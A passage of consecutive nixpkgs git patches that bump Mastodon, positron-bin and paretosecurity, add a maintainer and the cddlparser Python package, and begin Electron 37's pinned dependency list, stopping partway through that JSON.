--- a/pkgs/servers/mastodon/update.sh
+++ b/pkgs/servers/mastodon/update.sh
@@ -102,6 +102,7 @@ in
 // {
   inherit version;
   yarnHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
+  yarnMissingHashes = null;
 }
 EOF
 SOURCE_DIR="$(nix-build --no-out-link -E '(import <nixpkgs> {}).callPackage ./source.nix {}')"

From 10ccebb6034b3c84ffaff4585365b0527b47b021 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 17:33:53 +0200
Subject: [PATCH 1996/4511] mastodon: refactor passthru on source

Any attribute concatenation onto the result of mkDerivation will break
*some* overrideability.

This case is rather obscure. You'd have to do something like this to get
an eval failure:

```
(mastodon.override { srcOverride = mastodon.src.overrideAttrs { }; })
```

This is not what I'am actually doing: I am calling `overrideAttrs` on
every `callPackage` call for an experiment - and this break with it.

(cherry picked from commit 85cecf033416b2efc8426c46c05bb2d182336c75)
---
 pkgs/servers/mastodon/source.nix | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix
index 4dcc524f01b3..63f408e1f81e 100644
--- a/pkgs/servers/mastodon/source.nix
+++ b/pkgs/servers/mastodon/source.nix
@@ -7,17 +7,18 @@
 let
   version = "4.3.8";
 in
-(applyPatches {
+applyPatches {
   src = fetchFromGitHub {
     owner = "mastodon";
     repo = "mastodon";
     rev = "v${version}";
     hash = "sha256-08AApylDOz8oExZ0cRaZTgNAuP+1wiLkx0SDhkO2fMM=";
+
+    passthru = {
+      inherit version;
+      yarnHash = "sha256-IC4d/skIHEzJPuKlq4rMAqV+ydqquA6toq4WWCfuDxo=";
+      yarnMissingHashes = null;
+    };
   };
   patches = patches ++ [ ];
-})
-// {
-  inherit version;
-  yarnHash = "sha256-IC4d/skIHEzJPuKlq4rMAqV+ydqquA6toq4WWCfuDxo=";
-  yarnMissingHashes = null;
 }

From bddc449244ba4e5351e042920245ac04d0be4abd Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Wed, 2 Jul 2025 20:43:29 +0200
Subject: [PATCH 1997/4511] mastodon: 4.3.8 -> 4.3.9

Changelog: https://github.com/mastodon/mastodon/releases/tag/v4.3.9
(cherry picked from commit 605cfcce80bf61ff47815aa8a8d3e275c0655312)
---
 pkgs/servers/mastodon/source.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix
index 63f408e1f81e..de1b5f020c45 100644
--- a/pkgs/servers/mastodon/source.nix
+++ b/pkgs/servers/mastodon/source.nix
@@ -5,14 +5,14 @@
   patches ? [ ],
 }:
 let
-  version = "4.3.8";
+  version = "4.3.9";
 in
 applyPatches {
   src = fetchFromGitHub {
     owner = "mastodon";
     repo = "mastodon";
     rev = "v${version}";
-    hash = "sha256-08AApylDOz8oExZ0cRaZTgNAuP+1wiLkx0SDhkO2fMM=";
+    hash = "sha256-A2WxVwaarT866s97uwfStBVtv7T5czF7ymRswtZ2K4M=";
 
     passthru = {
       inherit version;

From 2de3985240743a8558404718672ec49e6b5d3af5 Mon Sep 17 00:00:00 2001
From: Bruno Rodrigues <bruno@brodrigues.co>
Date: Wed, 28 May 2025 08:07:59 +0200
Subject: [PATCH 1998/4511] positron-bin: add aarch64-linux platform

(cherry picked from commit b506721d1213b9dfd0409bf44e4a799252eec6c3)
---
 pkgs/by-name/po/positron-bin/package.nix | 10 +++++++++-
 pkgs/by-name/po/positron-bin/update.sh   | 25 ++++++++++++------------
 2 files changed, 21 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/po/positron-bin/package.nix b/pkgs/by-name/po/positron-bin/package.nix
index dded8d345ea4..ac8ca6889b2d 100644
--- a/pkgs/by-name/po/positron-bin/package.nix
+++ b/pkgs/by-name/po/positron-bin/package.nix
@@ -33,6 +33,11 @@ stdenv.mkDerivation {
         url = "https://cdn.posit.co/positron/dailies/mac/universal/Positron-${version}.dmg";
         hash = "sha256-dmRYKysQJYrNWyGvH9DsNIC0tIHYNix7QWagVtuGx1g=";
       }
+    else if stdenv.hostPlatform.system == "aarch64-linux" then
+      fetchurl {
+        url = "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${version}-arm64.deb";
+        hash = "sha256-RPSQONl6Oj9UgFD2EIqGcbiCtuNJug1I+xaKiWeOyls=";
+      }
     else
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/deb/x86_64/Positron-${version}-x64.deb";
@@ -133,6 +138,9 @@ stdenv.mkDerivation {
       detroyejr
     ];
     mainProgram = "positron";
-    platforms = [ "x86_64-linux" ] ++ platforms.darwin;
+    platforms = [
+      "x86_64-linux"
+      "aarch64-linux"
+    ] ++ platforms.darwin;
   };
 }
diff --git a/pkgs/by-name/po/positron-bin/update.sh b/pkgs/by-name/po/positron-bin/update.sh
index 3e3966a356e9..76c16930fc01 100755
--- a/pkgs/by-name/po/positron-bin/update.sh
+++ b/pkgs/by-name/po/positron-bin/update.sh
@@ -27,7 +27,7 @@ new_hash=$(nix store prefetch-file --json --hash-type sha256 \
 
 sed -i "s|$current_hash|$new_hash|g" $positron_nix
 
-# Update Linux hash.
+# Update Linux x86_64 hash.
 current_hash=$(nix store prefetch-file --json --hash-type sha256 \
     "https://cdn.posit.co/positron/dailies/deb/x86_64/Positron-${current_version}-x64.deb" \
     | jq -r .hash)
@@ -38,17 +38,16 @@ new_hash=$(nix store prefetch-file --json --hash-type sha256 \
 
 sed -i "s|$current_hash|$new_hash|g" $positron_nix
 
+# Update Linux aarch64 hash.
+current_hash=$(nix store prefetch-file --json --hash-type sha256 \
+    "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${current_version}-arm64.deb" \
+    | jq -r .hash)
+
+new_hash=$(nix store prefetch-file --json --hash-type sha256 \
+    "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${new_version}-arm64.deb" \
+    | jq -r .hash)
+
+sed -i "s|$current_hash|$new_hash|g" $positron_nix
+
 # Update version
 sed -i "s|$current_version|$new_version|g" $positron_nix
-
-# Attempt to build.
-export NIXPKGS_ALLOW_UNFREE=1
-
-if ! nix-build -A positron-bin "$nixpkgs"; then
-  echo "The updated positron-bin failed to build."
-  exit 1
-fi
-
-# Commit changes
-git add "$positron_nix"
-git commit -m "positron-bin: ${current_version} -> ${new_version}"

From d4165c4175d80f9bfe738d74d4c8f6ef6238a033 Mon Sep 17 00:00:00 2001
From: Bruno Rodrigues <bruno@brodrigues.co>
Date: Wed, 28 May 2025 08:36:09 +0200
Subject: [PATCH 1999/4511] positron-bin:2025.05.0-75 -> 2025.06.0-146

(cherry picked from commit cb0b6d57a584b0f6cafed12d6e7cb199ae9a7a22)
---
 pkgs/by-name/po/positron-bin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/po/positron-bin/package.nix b/pkgs/by-name/po/positron-bin/package.nix
index ac8ca6889b2d..b165b93dac47 100644
--- a/pkgs/by-name/po/positron-bin/package.nix
+++ b/pkgs/by-name/po/positron-bin/package.nix
@@ -22,7 +22,7 @@
 }:
 let
   pname = "positron-bin";
-  version = "2025.05.0-75";
+  version = "2025.06.0-146";
 in
 stdenv.mkDerivation {
   inherit version pname;
@@ -31,17 +31,17 @@ stdenv.mkDerivation {
     if stdenv.hostPlatform.isDarwin then
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/mac/universal/Positron-${version}.dmg";
-        hash = "sha256-dmRYKysQJYrNWyGvH9DsNIC0tIHYNix7QWagVtuGx1g=";
+        hash = "sha256-V9ADtOskxEbGZryXD/6aiUDeTvqPzoY372f/Vo5195s=";
       }
     else if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${version}-arm64.deb";
-        hash = "sha256-RPSQONl6Oj9UgFD2EIqGcbiCtuNJug1I+xaKiWeOyls=";
+        hash = "sha256-FiCTF5Bmfp4id9HXuB4luSGT9A7OoquaRW/QIh0A3ZY=";
       }
     else
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/deb/x86_64/Positron-${version}-x64.deb";
-        hash = "sha256-dmJrDE3g44aoCsVBvSDDFLt38uIqxzaXPBhcmu/U5Oo=";
+        hash = "sha256-FnNoLV9uqgUeumYpHtRJuHrFA6mL65KI4jru7Ebq0/o=";
       };
 
   buildInputs =

From 60b76b14abbd85043b2acaf6e53b4ba733145156 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 21 Jun 2025 10:21:06 +0000
Subject: [PATCH 2000/4511] positron-bin: 2025.06.0-146 -> 2025.07.0-112

(cherry picked from commit 014965c6280dae2c3867d5ab15e4e976b271f9eb)
---
 pkgs/by-name/po/positron-bin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/po/positron-bin/package.nix b/pkgs/by-name/po/positron-bin/package.nix
index b165b93dac47..11817b657faf 100644
--- a/pkgs/by-name/po/positron-bin/package.nix
+++ b/pkgs/by-name/po/positron-bin/package.nix
@@ -22,7 +22,7 @@
 }:
 let
   pname = "positron-bin";
-  version = "2025.06.0-146";
+  version = "2025.07.0-112";
 in
 stdenv.mkDerivation {
   inherit version pname;
@@ -31,17 +31,17 @@ stdenv.mkDerivation {
     if stdenv.hostPlatform.isDarwin then
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/mac/universal/Positron-${version}.dmg";
-        hash = "sha256-V9ADtOskxEbGZryXD/6aiUDeTvqPzoY372f/Vo5195s=";
+        hash = "sha256-vprBr+0XBndCiFTauiOa3gjOlxj/w2ZhQlXNJdly7oU=";
       }
     else if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${version}-arm64.deb";
-        hash = "sha256-FiCTF5Bmfp4id9HXuB4luSGT9A7OoquaRW/QIh0A3ZY=";
+        hash = "sha256-TYFBW3sRpgsdVC66WB9SYNsmAxGCq/3gQSexOVtvGZs=";
       }
     else
       fetchurl {
         url = "https://cdn.posit.co/positron/dailies/deb/x86_64/Positron-${version}-x64.deb";
-        hash = "sha256-FnNoLV9uqgUeumYpHtRJuHrFA6mL65KI4jru7Ebq0/o=";
+        hash = "sha256-yueD2PEBXiG8FPghRWvBS6TPtyZ1Q8utKOS8QDMNlk8=";
       };
 
   buildInputs =

From b2becbdee528f9c1ccdd93ec02e3ab0a2381569c Mon Sep 17 00:00:00 2001
From: Bruno Rodrigues <bruno@brodrigues.co>
Date: Wed, 2 Jul 2025 18:54:49 +0200
Subject: [PATCH 2001/4511] positron-bin: 2025.07.0-112 -> 2025.07.0-204

(cherry picked from commit 6c48b9cbe5bfc05501397caa0a36f934f82c77e1)
---
 pkgs/by-name/po/positron-bin/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/po/positron-bin/package.nix b/pkgs/by-name/po/positron-bin/package.nix
index 11817b657faf..42fa5e7100e9 100644
--- a/pkgs/by-name/po/positron-bin/package.nix
+++ b/pkgs/by-name/po/positron-bin/package.nix
@@ -22,7 +22,7 @@
 }:
 let
   pname = "positron-bin";
-  version = "2025.07.0-112";
+  version = "2025.07.0-204";
 in
 stdenv.mkDerivation {
   inherit version pname;
@@ -30,18 +30,18 @@ stdenv.mkDerivation {
   src =
     if stdenv.hostPlatform.isDarwin then
       fetchurl {
-        url = "https://cdn.posit.co/positron/dailies/mac/universal/Positron-${version}.dmg";
-        hash = "sha256-vprBr+0XBndCiFTauiOa3gjOlxj/w2ZhQlXNJdly7oU=";
+        url = "https://cdn.posit.co/positron/releases/mac/universal/Positron-${version}-universal.dmg";
+        hash = "sha256-f1EQw6fKH4pgVG7+YcLPv6FawJ2TN507hYLD0pn+PlM=";
       }
     else if stdenv.hostPlatform.system == "aarch64-linux" then
       fetchurl {
-        url = "https://cdn.posit.co/positron/dailies/deb/arm64/Positron-${version}-arm64.deb";
-        hash = "sha256-TYFBW3sRpgsdVC66WB9SYNsmAxGCq/3gQSexOVtvGZs=";
+        url = "https://cdn.posit.co/positron/releases/deb/arm64/Positron-${version}-arm64.deb";
+        hash = "sha256-SxjQPZ2wUmSIYOxBB6AS6Ue7ajXzMkY32nHdkZkNhBA=";
       }
     else
       fetchurl {
-        url = "https://cdn.posit.co/positron/dailies/deb/x86_64/Positron-${version}-x64.deb";
-        hash = "sha256-yueD2PEBXiG8FPghRWvBS6TPtyZ1Q8utKOS8QDMNlk8=";
+        url = "https://cdn.posit.co/positron/releases/deb/x86_64/Positron-${version}-x64.deb";
+        hash = "sha256-f27LC4+SXnkyePw/fw8r9JYsOQKVoIiFkAet/QtwbNg=";
       };
 
   buildInputs =

From c39b0ffd1f043da6c290a6e934364475fe3ff1da Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 13:28:20 +0000
Subject: [PATCH 2002/4511] paretosecurity: 0.2.34 -> 0.2.36

(cherry picked from commit 84840db24727392631299bf1df2a9e6243626ab9)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index c6e774528f2d..b7633bd34361 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,13 +17,13 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.34";
+  version = "0.2.36";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-tTFdgLpu7RRWx2B2VMROqs1HgG0qMbfUOS5KNLQFHQw=";
+    hash = "sha256-PAH5aswkN8MxK+sZNucXgw50Fc2CkhBLM7+wwxkgAvs=";
   };
 
   vendorHash = "sha256-RAKYaNi+MXUfNnEJmZF5g9jFBDOPIVBOZWtqZp2FwWY=";

From cea727f962b44b537842a2b63d7222219a33c8f2 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Thu, 3 Jul 2025 15:44:44 +0100
Subject: [PATCH 2003/4511] paretosecurity: 0.2.36 -> 0.2.37

(cherry picked from commit 53c316d5e795a062e1e0aa60c87c6d27727551ba)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index b7633bd34361..a6ea89ff66f7 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.36";
+  version = "0.2.37";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-PAH5aswkN8MxK+sZNucXgw50Fc2CkhBLM7+wwxkgAvs=";
+    hash = "sha256-kwGZmj7YJtciFGNVYGKOE8yqGUxMlDBwivBNXmSAfQk=";
   };
 
-  vendorHash = "sha256-RAKYaNi+MXUfNnEJmZF5g9jFBDOPIVBOZWtqZp2FwWY=";
+  vendorHash = "sha256-nN2FS0XEZyyk83xXyoaQktZcGzPRtxND1qmskvqxEII=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From bc9353c134643018da75e3289c18635b75a349c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcel=20M=C3=BCller?= <neikos@neikos.email>
Date: Sun, 8 Jun 2025 17:50:46 +0200
Subject: [PATCH 2004/4511] maintainers: add hemera
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcel Müller <neikos@neikos.email>
(cherry picked from commit a92970f85f1f3d472d750ab54933d7babd132178)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index d7f39c64b9df..be6a710ee76f 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9775,6 +9775,12 @@
     githubId = 155722885;
     name = "Joachim Ernst";
   };
+  hemera = {
+    email = "neikos@neikos.email";
+    github = "TheNeikos";
+    githubId = 1631166;
+    name = "Marcel Müller";
+  };
   henkery = {
     email = "jim@reupload.nl";
     github = "henkery";

From cbce2bf64f3c0bac6a85408ddd867a40c74f63a6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcel=20M=C3=BCller?= <neikos@neikos.email>
Date: Fri, 6 Jun 2025 15:59:35 +0200
Subject: [PATCH 2005/4511] python3Packages.cddlparser: init at 0.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcel Müller <neikos@neikos.email>
(cherry picked from commit d5c08a2e53ffb2cec243268ed46678febae47306)
---
 .../python-modules/cddlparser/default.nix     | 37 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 39 insertions(+)
 create mode 100644 pkgs/development/python-modules/cddlparser/default.nix

diff --git a/pkgs/development/python-modules/cddlparser/default.nix b/pkgs/development/python-modules/cddlparser/default.nix
new file mode 100644
index 000000000000..1737f4b85b48
--- /dev/null
+++ b/pkgs/development/python-modules/cddlparser/default.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+  # dependencies
+  setuptools,
+}:
+
+buildPythonPackage rec {
+  pname = "cddlparser";
+  version = "0.5.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "tidoust";
+    repo = pname;
+    tag = "v${version}";
+    sha256 = "sha256-Hrf6u5HeCICffgPAOcbb1FhybEVhgre7EXzQZhS8D9o=";
+  };
+
+  build-system = [
+    setuptools
+  ];
+
+  meta = {
+    homepage = "https://github.com/tidoust/cddlparser";
+    downloadPage = "https://github.com/tidoust/cddlparser/releases";
+    description = "Concise data definition language (RFC 8610) parser implementation in Python";
+    longDescription = ''
+      A CDDL parser in Python
+
+      Concise data definition language (RFC 8610) parser implementation in Python.
+    '';
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ hemera ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index ae264ecccc24..43707004bea1 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2302,6 +2302,8 @@ self: super: with self; {
 
   cdcs = callPackage ../development/python-modules/cdcs { };
 
+  cddlparser = callPackage ../development/python-modules/cddlparser { };
+
   celery = callPackage ../development/python-modules/celery { };
 
   celery-batches = callPackage ../development/python-modules/celery-batches { };

From 195d9e8b914514b62a2a17c4df0a3277214dbd26 Mon Sep 17 00:00:00 2001
From: Yureka <yureka@cyberchaos.dev>
Date: Mon, 30 Jun 2025 01:47:20 +0200
Subject: [PATCH 2006/4511] electron-source.electron_37: init at 37.1.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.0.0
- Changelog: https://github.com/electron/electron/releases/tag/v37.1.0

(cherry picked from commit c8dd817b958789540bec06033a519eee00e87438)
---
 pkgs/development/tools/electron/info.json | 1333 +++++++++++++++++++++
 pkgs/top-level/all-packages.nix           |    5 +
 2 files changed, 1338 insertions(+)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 56d410f9fa6b..73ca102ee2bf 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2632,5 +2632,1338 @@
         "modules": "135",
         "node": "22.16.0",
         "version": "36.6.0"
+    },
+    "37": {
+        "chrome": "138.0.7204.35",
+        "chromium": {
+            "deps": {
+                "gn": {
+                    "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM=",
+                    "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
+                    "url": "https://gn.googlesource.com/gn",
+                    "version": "2025-05-21"
+                }
+            },
+            "version": "138.0.7204.35"
+        },
+        "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
+        "deps": {
+            "src": {
+                "args": {
+                    "hash": "sha256-0C2lONJHtUyEAQ8PNSk5Z4zCZa5XFI2LH4Ew9PgWfuU=",
+                    "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
+                    "tag": "138.0.7204.35",
+                    "url": "https://chromium.googlesource.com/chromium/src.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/chrome/test/data/perf/canvas_bench": {
+                "args": {
+                    "hash": "sha256-svOuyBGKloBLM11xLlWCDsB4PpRjdKTBdW2UEW4JQjM=",
+                    "rev": "a7b40ea5ae0239517d78845a5fc9b12976bfc732",
+                    "url": "https://chromium.googlesource.com/chromium/canvas_bench.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/chrome/test/data/perf/frame_rate/content": {
+                "args": {
+                    "hash": "sha256-t4kcuvH0rkPBkcdiMsoNQaRwU09eU+oSvyHDiAHrKXo=",
+                    "rev": "c10272c88463efeef6bb19c9ec07c42bc8fe22b9",
+                    "url": "https://chromium.googlesource.com/chromium/frame_rate/content.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/chrome/test/data/xr/webvr_info": {
+                "args": {
+                    "hash": "sha256-BsAPwc4oEWri0TlqhyxqFNqKdfgVSrB0vQyISmYY4eg=",
+                    "rev": "c58ae99b9ff9e2aa4c524633519570bf33536248",
+                    "url": "https://chromium.googlesource.com/external/github.com/toji/webvr.info.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/docs/website": {
+                "args": {
+                    "hash": "sha256-X9GIZkPokZ8ojNVDScDQL8D0tJGsaQMg8ncenuBzFHk=",
+                    "rev": "d21d90790d8ea421b317c4cb52a0d94133422796",
+                    "url": "https://chromium.googlesource.com/website.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/electron": {
+                "args": {
+                    "hash": "sha256-c/Gm/qLWy96407+XVXF+4z99jNUQwkWSwlHxnvfCbK0=",
+                    "owner": "electron",
+                    "repo": "electron",
+                    "tag": "v37.1.0"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/media/cdm/api": {
+                "args": {
+                    "hash": "sha256-3JBBcBg2ep/7LnvMHBWnqAFG+etETArFXZr4Klv30T4=",
+                    "rev": "852a81f0ae3ab350041d2e44d207a42fb0436ae1",
+                    "url": "https://chromium.googlesource.com/chromium/cdm.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/net/third_party/quiche/src": {
+                "args": {
+                    "hash": "sha256-UYyBMjv6ATIwBXYngGof85pBCHXb/jYXetVo0oBrHf8=",
+                    "rev": "3b42119c3e4be5d4720c3c1b384106fa43e9b5e3",
+                    "url": "https://quiche.googlesource.com/quiche.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/testing/libfuzzer/fuzzers/wasm_corpus": {
+                "args": {
+                    "hash": "sha256-gItDOfNqm1tHlmelz3l2GGdiKi9adu1EpPP6U7+8EQY=",
+                    "rev": "1df5e50a45db9518a56ebb42cb020a94a090258b",
+                    "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/accessibility_test_framework/src": {
+                "args": {
+                    "hash": "sha256-mzVgoxxBWebesG6okyMxxmO6oH+TITA4o9ucHHMMzkQ=",
+                    "rev": "4a764c690353ea136c82f1a696a70bf38d1ef5fe",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/Accessibility-Test-Framework-for-Android.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/angle": {
+                "args": {
+                    "hash": "sha256-jGnuunyWvu43LLpejJTcoSlhCukhv8pX2OAQ7n1adcU=",
+                    "rev": "d1fb74c940fef262809f4a513039b70e94c91440",
+                    "url": "https://chromium.googlesource.com/angle/angle.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/angle/third_party/VK-GL-CTS/src": {
+                "args": {
+                    "hash": "sha256-EFhi4dELfyq6FcB+YFlzKfoXz44i5ieFK1KUlFzqE1I=",
+                    "rev": "c9d2e24d1a6da00165a0b5908ea4ba05c2e5f0b2",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/angle/third_party/glmark2/src": {
+                "args": {
+                    "hash": "sha256-VebUALLFKwEa4+oE+jF8mBSzhJd6aflphPmcK1Em8bw=",
+                    "rev": "6edcf02205fd1e8979dc3f3964257a81959b80c8",
+                    "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/angle/third_party/rapidjson/src": {
+                "args": {
+                    "hash": "sha256-btUl1a/B0sXwf/+hyvCvVJjWqIkXfVYCpHm3TeBuOxk=",
+                    "rev": "781a4e667d84aeedbeb8184b7b62425ea66ec59f",
+                    "url": "https://chromium.googlesource.com/external/github.com/Tencent/rapidjson"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/anonymous_tokens/src": {
+                "args": {
+                    "hash": "sha256-GaRtZmYqajLUpt7ToRfMLBlyMiJB5yT9BaaT9pHH7OM=",
+                    "rev": "d708a2602a5947ee068f784daa1594a673d47c4a",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/boringssl/src": {
+                "args": {
+                    "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM=",
+                    "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
+                    "url": "https://boringssl.googlesource.com/boringssl.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/breakpad/breakpad": {
+                "args": {
+                    "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo=",
+                    "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
+                    "url": "https://chromium.googlesource.com/breakpad/breakpad.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cast_core/public/src": {
+                "args": {
+                    "hash": "sha256-yQxm1GMMne80bLl1P7OAN3bJLz1qRNAvou2/5MKp2ig=",
+                    "rev": "f5ee589bdaea60418f670fa176be15ccb9a34942",
+                    "url": "https://chromium.googlesource.com/cast_core/public"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/catapult": {
+                "args": {
+                    "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0=",
+                    "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
+                    "url": "https://chromium.googlesource.com/catapult.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ced/src": {
+                "args": {
+                    "hash": "sha256-ySG74Rj2i2c/PltEgHVEDq+N8yd9gZmxNktc56zIUiY=",
+                    "rev": "ba412eaaacd3186085babcd901679a48863c7dd5",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/clang-format/script": {
+                "args": {
+                    "hash": "sha256-d9uweklBffiuCWEb03ti1eFLnMac2qRtvggzXY1n/RU=",
+                    "rev": "37f6e68a107df43b7d7e044fd36a13cbae3413f2",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/clang/tools/clang-format.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cld_3/src": {
+                "args": {
+                    "hash": "sha256-C3MOMBUy9jgkT9BAi/Fgm2UH4cxRuwSBEcRl3hzM2Ss=",
+                    "rev": "b48dc46512566f5a2d41118c8c1116c4f96dc661",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/cld_3.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/colorama/src": {
+                "args": {
+                    "hash": "sha256-6ZTdPYSHdQOLYMSnE+Tp7PgsVTs3U2awGu9Qb4Rg/tk=",
+                    "rev": "3de9f013df4b470069d03d250224062e8cf15c49",
+                    "url": "https://chromium.googlesource.com/external/colorama.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/compiler-rt/src": {
+                "args": {
+                    "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4=",
+                    "rev": "57196dd146582915c955f6d388e31aea93220c51",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/content_analysis_sdk/src": {
+                "args": {
+                    "hash": "sha256-f5Jmk1MiGjaRdLun+v/GKVl8Yv9hOZMTQUSxgiJalcY=",
+                    "rev": "9a408736204513e0e95dd2ab3c08de0d95963efc",
